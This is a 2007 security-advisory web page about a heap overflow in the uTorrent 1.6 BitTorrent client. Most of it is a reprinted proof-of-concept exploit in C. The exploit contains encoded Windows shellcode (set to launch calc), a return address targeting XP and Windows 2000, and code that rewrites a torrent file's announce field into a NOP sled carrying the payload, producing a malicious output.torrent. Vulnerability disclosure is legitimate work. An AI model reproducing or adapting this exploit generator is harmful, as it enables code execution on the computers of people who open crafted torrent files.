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Home  Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). Confidence 2013 5% Off any SANS course Use Code: SecuriTeam_5 Hack In Paris La Nuit du Hack Subjects of Interest: Vulnerability Management SQL Injection Buffer Overflows Active Network Scanning Fuzzing Fuzzer Report Network Security Network Scanner Pen Testing Security Scanner	uTorrent Heap torrent File Overflow (Exploit) 13 Feb. 2007    Summary uTorrent (miu-Torrent or microTorrent) is a freeware BitTorrent client for Microsoft Windows written in C++, and translated into 39 different languages. A vulnerability in uTorrent allows code execution on the vulnerable system when a maliciously crafted .torrent files is opened.   Credit: The information has been provided by milw0rm. The original article can be found at: http://www.milw0rm.com/exploits/3296 Free Website Security Scan Free Fuzzer Report Vulnerability Assessment Detect web app vulnerabilities University study comparing the top Accurate and automated scanning Get guidance from professionals. 6 commercially availble fuzzers. for networks of any size.    Details Protect your website! Free Trial, Nothing to install. No interruption of visitors. www.beyondsecurity.com/vulnerability-scanner Exploit: /*  * This is a PoC remote exploit for uTorrent 1.6  *  * Author:  * defsec <defacedsecurity@hotmail.com>  * http://www.defacedsecurity.com  *  *  * Works on XP SP1 and w2k sp1-4  * */ #include <stdio.h> #include <stdlib.h> #define NASIZE 4880 unsigned char nice_announce[NASIZE]; unsigned char xorops[]="\x33\xc0\x33\xdb"; // win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum // Restricted Character 0x00 unsigned char shellcode[]= "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34" "\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47" "\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x51\x4b\x48" "\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x43\x4b\x58" "\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c" "\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x43\x46\x45\x46\x42\x46\x50\x45\x37\x45\x4e\x4b\x38" "\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54" "\x4b\x38\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x48\x4e\x41\x4b\x48" "\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x50\x43\x4c\x41\x53" "\x42\x4c\x46\x36\x4b\x58\x42\x54\x42\x53\x45\x48\x42\x4c\x4a\x37" "\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x57\x4e\x51\x4d\x4a" "\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b" "\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x35\x41\x53" "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37" "\x42\x35\x4a\x36\x50\x47\x4a\x4d\x44\x4e\x43\x47\x4a\x36\x4a\x49" "\x50\x4f\x4c\x48\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46" "\x4e\x46\x43\x46\x42\x30\x5a"; //msvcrt.dll pop,pop,ret addr all xp sp1 exchange it with 0x7801D07B for win2k sp3/sp4 unsigned char jmptosc[] = "\xeb\x04\ \xa7\x2c\xc2\x77\ \x33\xc0\xb0\x11\xc1\xe0\x08\x5b\x5b\x5b\x2b\xd8\xff\xe3"; int main(int argc,char *argv[]) {         FILE * pFile;         long lSize;         char * buffer;         size_t result;         long i = 0;         long j = 0;         long lPtrIndex;         long lHeadSize;         long lTailSize;         char * curptr;         char * alptr;         char * torrentTail;                  if (argc < 2)         {                 printf("\n[uTorrent 1.6] Heap Overflow Exploit - by [DEFACEDSECURITY]");                 printf("\n\nUsage: ");                 printf("%s",argv[0]);                 printf(" <TorrentFile>\n");                 return 0;         }                  pFile = fopen (argv[1],"rb");         if (pFile==NULL)         {                 fputs ("File error",stderr);                 return 0;         }         // obtain file size:         fseek (pFile ,0,SEEK_END);         lSize = ftell (pFile);         rewind (pFile);         // allocate memory to contain the whole file:         buffer = (char*) malloc (sizeof(char)*lSize);         if (buffer == NULL)         {                 fputs ("Memory error",stderr);                 return 0;         }         // copy the file into the buffer:         result = fread (buffer,1,lSize,pFile);         if (result != lSize)         {                 fputs ("Reading error",stderr);                 return 0;         }         fclose (pFile);         /* find announce / announce-list and erase it */         alptr = (char *) strstr(buffer,"announce");         if (alptr == NULL)         {                 printf("\ninvalid torrent file");                 return 0;         }         curptr = (char *) strstr(alptr, "7:comment");         lHeadSize = curptr - buffer ;         lTailSize = lSize - lHeadSize;         torrentTail = (char *) malloc (sizeof(char)*lTailSize);         memcpy(torrentTail,curptr,lTailSize);         /* generate offending header */         strcpy(nice_announce,"d8:announce4864:");         for (lPtrIndex = 16; lPtrIndex <= 4864+16; lPtrIndex++)                 nice_announce[lPtrIndex] = 0x90;         lPtrIndex = 84;         memcpy(nice_announce + lPtrIndex ,xorops,sizeof(xorops)-1);         lPtrIndex += sizeof(xorops) -1;         memcpy(nice_announce+lPtrIndex,shellcode, sizeof(shellcode)-1);         for (lPtrIndex = 4438; lPtrIndex<4458; lPtrIndex++,i++)                 nice_announce[lPtrIndex] = jmptosc[i];         /* get head and tail together into a file */         curptr = (char *) malloc(sizeof(char)*(NASIZE+lTailSize));         for (i=0;i<NASIZE;i++)                 curptr[i] = nice_announce[i];         for (;i<(NASIZE+lTailSize);i++,j++)                 curptr[i] = torrentTail[j];         /* write to file and exit */         pFile = fopen ( "output.torrent" , "wb" );         if (pFile==NULL)         {                 fputs ("File error",stderr);                 return 0;         }         fwrite(curptr, sizeof(char), (NASIZE+lTailSize), pFile);         fclose (pFile); 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